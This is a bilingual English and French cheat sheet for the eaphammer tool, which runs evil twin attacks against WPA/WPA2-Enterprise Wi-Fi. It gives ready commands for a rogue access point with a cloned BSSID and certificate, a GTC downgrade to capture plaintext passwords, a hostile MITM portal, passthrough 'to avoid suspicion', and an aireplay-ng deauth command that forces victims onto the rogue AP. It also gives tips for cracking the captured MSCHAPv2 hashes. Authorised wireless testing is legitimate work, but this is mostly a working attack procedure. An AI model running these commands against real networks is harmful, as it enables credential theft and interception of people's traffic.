eaphammer

Overview

eaphammer automates evil twin attacks against WPA/WPA2-Enterprise networks. It creates a rogue AP mimicking the target network, handles EAP negotiation, captures credential exchanges (MSCHAP, GTC, PEAP), and can perform MITM on associated clients.

Installation

git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer
./kali-setup

Basic Evil Twin

Generate self-signed certificate for the rogue AP

./eaphammer --cert-wizard

Launch evil twin attack

./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "TargetCorpWiFi" \
  --creds

With BSSID spoofing (clone the real AP’s MAC)

./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "TargetCorpWiFi" \
  --bssid AA:BB:CC:DD:EE:FF \
  --creds

Targeting Specific EAP Methods

Force PEAP (catches MSCHAPv2 creds)

./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --negotiate balanced \
  --creds

Force GTC (captures plaintext passwords)

./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --negotiate gtc-downgrade \
  --creds

MITM / Traffic Interception

Hostile portal (redirect HTTP to capture credentials)

./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --hostile-portal

With internet passthrough (stay connected, avoid suspicion)

./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --creds \
  --pivot

Certificate Wizard

Interactive cert setup (required before attacks)

./eaphammer --cert-wizard

Advanced: clone a real certificate from the target network

./eaphammer --cert-wizard --cn "Target Corp CA" --org "Target Corp"

Deauth Target Clients

Force clients to roam to the rogue AP

aireplay-ng --deauth 100 -a TARGET_BSSID -c CLIENT_MAC wlan1mon

→ While eaphammer rogue AP is running on wlan0

Tips

• Dual-adapter setup: one for the rogue AP (eaphammer), one for deauth (aireplay-ng)
• GTC downgrade attacks yield plaintext passwords — most valuable outcome
• MSCHAPv2 credentials from PEAP can be cracked with asleap or hashcat
• Certificate wizard must be run first — clients will see an untrusted cert warning
• Use --channel matching the real AP to improve client association

eaphammer [options]

-i IFACE          Wireless interface
--essid SSID      Target SSID to impersonate
--bssid MAC       BSSID to use (default: random)
--channel N       Channel (match target AP)
--auth TYPE       wpa-eap or open
--creds           Capture credentials
--negotiate MODE  balanced, manual, gtc-downgrade
--cert-wizard     Generate/configure certificates
--hostile-portal  Enable hostile portal (MITM)
--pivot           Enable internet passthrough

Vue d’ensemble

eaphammer automatise les attaques evil twin contre les réseaux WPA/WPA2-Enterprise. Il crée un point d’accès factice imitant le réseau cible, gère la négociation EAP, capture les échanges d’identifiants (MSCHAP, GTC, PEAP), et peut effectuer un MITM sur les clients associés.

Installation

git clone https://github.com/s0lst1c3/eaphammer
cd eaphammer
./kali-setup

Evil twin de base

# Générer un certificat auto-signé pour le point d'accès factice
./eaphammer --cert-wizard

# Lancer l'attaque evil twin
./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "TargetCorpWiFi" \
  --creds

# Avec spoofing de BSSID (cloner l'adresse MAC du vrai point d'accès)
./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "TargetCorpWiFi" \
  --bssid AA:BB:CC:DD:EE:FF \
  --creds

Cibler des méthodes EAP spécifiques

# Forcer PEAP (capture les identifiants MSCHAPv2)
./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --negotiate balanced \
  --creds

# Forcer GTC (capture les mots de passe en clair)
./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --negotiate gtc-downgrade \
  --creds

MITM / interception de trafic

# Portail hostile (redirige le HTTP pour capturer des identifiants)
./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --hostile-portal

# Avec passthrough internet (rester connecté, éviter les soupçons)
./eaphammer -i wlan0 \
  --channel 6 \
  --auth wpa-eap \
  --essid "Target" \
  --creds \
  --pivot

Assistant de certificat

# Configuration interactive du certificat (requise avant les attaques)
./eaphammer --cert-wizard

# Avancé : cloner un certificat réel du réseau cible
./eaphammer --cert-wizard --cn "Target Corp CA" --org "Target Corp"

Déauthentifier les clients cibles

Forcer les clients à basculer vers le point d’accès factice

aireplay-ng --deauth 100 -a TARGET_BSSID -c CLIENT_MAC wlan1mon

→ Pendant que le point d’accès factice eaphammer tourne sur wlan0

Conseils

• Configuration à deux adaptateurs : un pour le point d’accès factice (eaphammer), un pour la déauthentification (aireplay-ng)
• Les attaques par downgrade GTC produisent des mots de passe en clair : le résultat le plus intéressant
• Les identifiants MSCHAPv2 issus de PEAP peuvent être crackés avec asleap ou hashcat
• L’assistant de certificat doit être lancé en premier : les clients verront un avertissement de certificat non fiable
• Utilisez --channel correspondant au vrai point d’accès pour améliorer l’association des clients

eaphammer [options]

-i IFACE          Wireless interface
--essid SSID      Target SSID to impersonate
--bssid MAC       BSSID to use (default: random)
--channel N       Channel (match target AP)
--auth TYPE       wpa-eap or open
--creds           Capture credentials
--negotiate MODE  balanced, manual, gtc-downgrade
--cert-wizard     Generate/configure certificates
--hostile-portal  Enable hostile portal (MITM)
--pivot           Enable internet passthrough